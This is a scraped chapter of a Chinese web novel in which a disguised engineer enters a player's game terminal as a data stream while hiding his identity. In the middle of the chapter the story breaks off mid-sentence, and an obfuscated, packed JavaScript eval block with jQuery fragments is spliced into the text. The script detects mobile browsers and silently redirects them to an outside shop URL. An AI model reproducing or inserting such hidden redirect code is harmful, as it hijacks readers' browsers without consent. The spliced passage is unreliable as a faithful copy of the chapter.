文趣网 > 都市小说 > 入侵你的代码层 > 4. 共用一个终端
    那一夜李析没有合眼。

    他坐在闭合的第二个裂隙点旁边,身后是那道圆形的灰色环形疤痕。面前悬浮着三个并排的界面——左边是加密文件夹的迁移进度条,中间是他反复翻看了十几遍的第三人编码碎片,右边是一份他手写的"进入终端后的风险控制清单"。

    他先花两个小时把自己的核心数据全部迁移到深层加密文件夹里。真实ID、原始修复脚本的备份、登出权限接口——所有如果被张驭看到就全盘皆输的东西,都被他打包塞进了一个七层加密的压缩包里,伪装成"底层回响的核心协议残留"。文件夹的名字他改了三遍,最后定了一个看起来最无害的:【system_core_protocol_v0.3_legacy】。

    然后他开始看那段编码。

    拇指长的碎片悬浮在半空中,灰白色的字符在灰白色的背景里极不明显,像雪地里的霜。他放大、剖解、逐行拆开又合上,翻来覆去看了至少六遍。编码风格明显是《深渊纪元》上一个版本时期的架构规范——字段命名习惯、缩进格式、注释写法,全都有种陈旧感,像翻到了一本三年前就不再用了的旧手册。

    "不是在职的人写的……"他低声说,指尖在代码行之间划过,"在职的人不会用这套旧格式。但也不是完全不懂的人写的。这人对引擎底层很熟悉,只是……在用旧工具。"

    但真正让他反复看的是那些编码里混入的一个东西:某种外部变量。一个他认得出"存在"、但暂时无法精确定义来源的符号标记,嵌在代码的深层结构里,像一张纸上的水印,透出来模糊的轮廓,却看不清具体是什么。

    他在地上划了几行推测又全部抹掉。没有实质性的结论,只有一种越来越清晰的直觉:这东西他见过。在某份旧的项目文档里、在某个已经离职的员工的遗产代码里。他抓不住源头,但熟悉感像一根刺,扎在脑海里拔不出来。

    他决定暂时压下这条线。明天要面对的事更棘手。

    他转向右边的界面,开始逐条核对"进入张驭终端的风险控制清单":

    一、我的真实身份层加密迁移至深层,更名为无害化文件名。

    二、所有涉及"我是人类"的日志记录全部清除。

    三、准备一个半真半假的"接入数据源"视图——里面塞几行真实的底层只读权限,再塞几行伪装成"底层回响系统日志"的假数据。

    四、如果张驭问起加密文件夹,回答:"核心协议受原生代码保护,对玩家不可见。"

    五、如果他坚持要看,预案B:触发一次小型数据干扰,以"底层波动"为由中断接入。

    他把清单念了三遍,背进脑子里,然后靠在丘陵侧面闭了五分钟的眼睛。他没有睡着,但让思维空转了五分钟。五分钟后他重新睁眼,打开通道入口的监控画面,等待张驭的登录信号。

    张驭来得比前两天都早。

    那团黑色的数据流从通道上方沉降下来的时候,底层的错误代码甚至还没来得及完全炸开。他落地之后没有像前两天那样先扫视荒漠,而是直接看向李析站的位置——李析今天站在通道入口正前方,比前两次都靠近通道口,姿态也更挺拔,像一尊被摆正了的雕像。

    张驭今天穿了件黑色的短款战斗夹克,刀横在腰后,两只手插在外套口袋里。他看了李析一眼,然后放慢脚步走过来。离着三步远的地方停下来,上下打量了李析一遍。

    "你今天不太一样。"他说,"站得比平时直。"

    李析用机械音回应:"今天开始,我将以数据流形式进入你的终端,远程引导后续修复。"

    张驭的手从口袋里拔出来了。他插回去又拔出来,像在消化这句话的信息量。他侧了侧头,嘴角那个弧度浮了上来——比前几天都大了一点,嘴角差不多抬了两毫米,不仔细看会错过,但李析在终端后台监控里捕捉到了。

    "进我系统?"张驭说,"你前天说的时候,我以为你开玩笑。"

    "你是唯一拥有最高权限的玩家。如果我要实时监控裂隙状态并同步调整脚本,只有接入你的数据通道才能做到。"李析维持机械音,一字不差地照着昨晚背熟的台词念。

    张驭没有立刻回应。他看着李析模糊的面部,那双灰褐色的眼睛在灰白色的底层光线下像两块浅水区的石头。然后他说:"那你岂不是能看到我所有的数据?"

    李析听出了这句话的性质——不是疑问,是陷阱。张驭在问他"你敢不敢承认你看得到"。

    他早有准备:"接入仅限于游戏数据和系统权限。你的个人信息层受玩家隐私协议保护,我无法读取。"——真话。玩家绑定手机、现实账户、聊天记录都在另一层加密壳里,就算他进了张驭的终端也摸不到那些。

    张驭靠在通道入口旁边的数据墙上,双臂交叉,把李析又扫了一遍。"那反过来呢?"他说,"你进我系统,你是不是得把你的'一部分'也打开?"

    李析猜到了。他花了一整个晚上准备的"半真半假视图"刚好对接上这个条件。"可以。你在你的终端里会看到一个'接入数据源'的界面。我的部分数据会同步显示在那里。"

    张驭的视线在李析脸上停了两秒,然后他点了头:"行。来吧。"

    张驭打开了他的终端界面。

    一个深蓝色的半透明面板悬浮在灰白色的荒漠空气里,边缘泛着细碎的光纹。面板上滚动着几项基础数据:玩家ID、等级、战力综合评分、技能列表。技能列表一共七个格,亮了四个——张驭只用了四种技能,剩下的三个格空着,连填都没填。背包列表也是简短的几行:药品、材料、那把暗红色纹路的S级刀,再往下是一片空白。

    李析深吸一口气——尽管他没有肺,但他还是做了这个动作来给自己一个信号。他松开自己对底层荒漠的"粘附",数据化的身体开始从投影形态"剥落",变成一团细碎的银白色光点,从荒漠地面上浮起来,朝张驭终端界面边缘的接入端口涌去。

    穿过端口的那一瞬间,他感觉自己像穿过了一层极薄的膜。

    那层膜是张驭终端的安全协议。穿过的时候有一股轻微的阻涩感——像从空气里走进了水里,密度变了。然后阻涩感消失了,取而代之的是一种他从未体验过的"共居感"。

    他"住"进了张驭的系统里。

    最先涌进来的是声音。张驭终端内部的数据流在运转时发出稳定的低频嗡鸣,像一台大型机器的呼吸节奏。那种嗡鸣不刺耳,反而有一种令人安心的规律性——每秒大约振动三次,像心跳。然后是视野。李析的感知层从"荒漠全景"突然切换成了"张驭终端的内部视图",他能看到的数据内容变成了张驭系统结构树的每一个分支——但所有的分支都是半透明的,他只在自己被允许的范围内移动。

    他扫了一眼张驭的系统内部。比他想像的更干净。游戏数据、战斗纪录、技能使用日志排列得整整齐齐,但文件夹全是空的——这个人几乎不存东西。聊天记录为零,好友列表为零,邮件收件箱里只有系统自动发的版本更新通知,连读都没读。

    像一间住了很久但从没往墙上贴过一张照片的房子。

    与此同时,张驭的终端界面上出现了一个小型的"接入数据源"窗口。李析预先准备好的半真半假视图在那个窗口里展开:几行底层只读权限、若干条格式规范的"底层回响系统日志"、和一个嵌在数据结构中间的深灰色文件夹——上面写着【system_core_protocol_v0.3_legacy】。

    张驭低头看了一眼那个窗口。

    "你这里面,"他说,"怎么有些文件夹是加密的?"

    李析的心脏在张驭的终端里撞了一下——如果数据流也有"心跳"的话。他稳住了:"底层回响的核心协议受原生代码保护,某些数据层对玩家权限不可见。不影响裂隙修复。"

    张驭没有追问。他看了那个加密文件夹的名字大概一两秒,然后把视线移开了。"嗯"了一声。但李析从接入状态里感知到一件事:张驭在看那个名字时,视线停留的时长比他看其他任何数据都多了两倍。那一两秒的停顿意味着张驭记住了那个名字。

    "边走边说吧,"张驭关掉了终端面板,转身朝荒漠深处走去,"今天第三个。"

    李析以数据流形态存在于张驭的终端内部,相当于被装在一个人的口袋里带着移动。张驭迈步的时候,轻微的颠簸会通过数据通道传导到李析的感知层——他"感受"到了张驭走路的节奏、每一步落地时的轻微冲击、外套布料擦过腰侧时带出的空气扰动。这种从未有过的近距离让他全程高度紧张,他不得不每隔几十秒就在后台微调一次自己的数据姿态,以适应张驭的运动节奏。

    走了一小段路之后,张驭忽然说:"你现在能感觉到我走路?"

    "接入状态下,宿主的基础运动数据会同步到系统环境感知层。"李析说,"我能感知到你的位移、速度、以及与外部物体的碰撞反馈。"

    "那就是说,"张驭的步伐节奏没有变化,声音平直地传进终端里,"你现在知道我在哪个位置、在往哪个方向走、旁边有什么东西?"

    "严格来说,是的。"

    张驭没有再说话了。但李析从数据通道里捕捉到一丝很轻的波动——像是张驭的呼吸频率在那一刻微缓了半拍。然后他听到张驭低声说了一句,音量太小了,小到像是自言自语:

    "那还挺方便的。"

    方便什么,他没说。

    第三个裂隙点在一片"代码峡谷"里。两片高耸的灰白色数据壁像被劈开的山体一样耸立在荒漠中央,壁面上密密麻麻地滚动着永不停歇的字符流。裂隙从壁面的底部直直贯穿到顶部,将近十几米高,像一道闪电劈开了整面山体。裂隙的边缘不整齐,残留着某种灼烧过的焦痕——黑色的烧蚀纹路嵌在灰白色的壁面里,李析一眼就看出来这处裂口不是自然崩塌,是用某种手段强行撕裂的。

    "这个比前两个大。"张驭站在峡谷入口,仰头看了一眼裂隙的高度,"要修多久?"

    "修复时间取决于裂隙深度。预计比前两处长一倍。"李析在张驭的终端内部调出修复脚本,然后把投屏模式从"悬浮面板"切换成了"视网膜投影"。张驭的视野右前方出现了一块半透明的蓝色面板,修复脚本的所有参数和进度条都直接投在了他的眼睛里。

    "你在我眼睛里写字?"张驭偏了一下头,像是在感觉那个投影的位置。

    "这是最直观的引导方式。"李析说,"你只需正常看向裂隙,脚本数据会同步投射在你的视野里。接入权限。"

    张驭伸出手。白色的权限流从他掌心涌向高耸的裂隙壁面,灰白色的字符流被染上了一层亮色,修复脚本开始从底部向上缝合那道焦黑的伤疤。

    前二十分钟一切正常。白色的修复数据一层层覆盖焦痕,裂隙从底部开始收窄,进度条稳步推进到大约65%的位置。然后裂隙内部忽然鼓动了一下——和前两次都不一样,这次没有触手,取而代之的是一道灰白色的能量波,从裂隙深处向四周扩散,像一颗石子投进湖面。

    那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930581|213624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道波扫过张驭全身的时候,李析感觉到了。

    共振波直接传导到了"宿主-接入者"的数据关联通道里,他感知到了一连串极其清晰的身体信号——张驭的心跳猛然加速了一拍,从静息状态瞬间跳到战斗反应区间。紧接着是肌肉收紧的反馈:肩膀、后背、握刀的那只手——所有涉及"防御准备"的部位在同一秒内绷紧了。然后有什么东西从终端底层闪了一下。是一丝极其微弱的、数据层面的"痛觉"信号,像电流过载时系统报错的那种一闪即灭的报警。

    李析整个人被那串身体信号撞懵了。

    他第一次这么直接地感知到张驭的身体状态。不是靠看、靠推测、靠录像回放——是靠数据层"共享"到的。心跳、肌肉收紧、痛觉信号,全都在一秒钟之内涌入了他的感知通道,那种清晰度像两个人的皮肤贴在一起之后,心跳通过接触面互相传导。

    张驭自己也感觉到了什么。共振结束后他偏了一下头,对着终端界面说:"你刚才——怎么了?"

    李析花了大约两秒才把思维拉回机械模式。"……未检测到异常。"声音平直得像直尺。

    这是假话。他内心一片混乱。那种"感知到另一个人的身体"的感觉让他思维断了两秒——整整两秒里他脑子里是一片空白,连脚本参数的实时监控都忘了看。

    所幸修复脚本没有受到那两秒空白的影响。继续运行了大约十五分钟,裂隙从顶部最后一段合拢,焦痕覆盖处只剩一条极细的灰色细线嵌在壁面上。张驭的数据面板弹出提示:【任务进度:3/30。】

    张驭活动了一下肩膀,把刀从腰后解下来换了只手拿。他没有立刻转身往回走,而是站在峡谷出口处,像是在想什么。然后他没有任何预兆地开了口:

    "你的接入状态好像不完全是'被动'的。"

    李析的注意力立刻被拉回来了。"……什么意思?"

    "我刚才进背包看材料数量的时候,"张驭说,"你那边数据流的节奏变了一下。你在看我翻什么?"

    李析的脑子里亮起一盏红灯。他确实看了。张驭的系统太干净了,当张驭打开背包翻找材料时,他的工程师本能使他的感知层自动追踪了张驭打开的那个数据片段——他在无意识中"看"了张驭的背包内容。而张驭连那个微小的数据节奏变化都感知到了。

    "接入状态下,宿主的数据请求会产生环境数据扰动。"李析说,"我在确认扰动范围是否影响修复脚本的稳定性。"

    "行。"张驭没有再追问。他转身朝来时的方向走去,步伐比来时慢了大约十分之一。李析在终端里感知到那个节奏变化的时候愣了一下。张驭在背包里翻东西的速度也比之前慢——他打开背包界面时先停了一拍,然后逐条滑动材料列表,翻到最底部又滑回来,像是在故意放慢操作的速度。

    李析花了三秒才反应过来:张驭在放慢动作给他看。像一个人走在路上,故意放慢步子,让口袋里那个"乘客"能看清楚沿途的风景。他知道了李析在看,他没有阻止。他甚至让李析看得更清楚了一些。

    返程的路比来时走得慢。张驭没有说什么,李析也没有开口。只有张驭走路时稳定的步频在数据通道里像钟摆一样来回摆动——每一步的频率几乎一致,呼吸也维持着固定的速率。张驭做什么都有一种"标准姿态",连沉默都沉默得很规则。

    李析在张驭的终端里,听着那个稳定的步频,忽然想到了一个问题——他沉默的时候在想什么?他立刻把这个问题压了下去。作为一个接入系统的"数据流",他不该对宿主产生这种"人在哪、在想什么"的好奇。他告诉自己这只是工程师对研究对象的好奇心。但他不确定自己信了。

    回到通道入口时,张驭停住了。他准备跨进通道之前,对着终端方向说了一句:"明天继续。你今天在里面待了一天……挺安静的。"

    他说完就跨进了通道入口。灰白色的过渡层吞没了他,暗红色的刀光在入口边缘闪了一下,然后消失了。

    李析从张驭的系统里"退出来"。银白色的数据光点从端口回流到底层荒漠的地面上,重新聚拢成那个穿着灰黑色斗篷的模糊人影。他落地之后在通道入口旁边蹲了下来,后背靠着一片灰白色的数据墙。

    他先打开自己的后台,把今天在张驭终端里看到的所有东西快速过了一遍——张驭的背包:九种药品、三种材料、那把刀。技能列表:七个格用了四个,全是攻击型。文件夹结构:一堆空壳。好友列表:零。邮件收件箱:只有系统通知。然后他打开加密文件夹,把那段第三人编码又翻了出来。

    在张驭终端里待了一整天之后,他"捞"到了一点新东西。不是主动看到的——是在终端底层环境残留里无意间捕捉到的。一段极短的数据日志片段,像是被删除后没清理干净的碎片,混在大量的空白环境数据里,如果不是他以接入者身份在张驭系统里待了那么久根本不会注意到。

    日志碎片的结尾处,嵌着一行三位字母的注释:【——L.F.审核通过。】

    L.F.。审核通过。审核什么?谁写的?

    他把那三个字母在脑子里翻来覆去地过了三遍。像一把钥匙,但他还不知道门在哪。

    他关掉界面,靠在数据墙上。灰白色的荒漠在面前无限延伸,头顶的倒计时又少了一段。他闭上眼,脑子里同时转着三件事:张驭今天放慢了脚步让他看那些空文件夹。张驭感知到了他看背包时的数据流波动。还有那三个字母。

    全是碎片。

    但他隐隐觉得有些碎片在往同一个方向移动。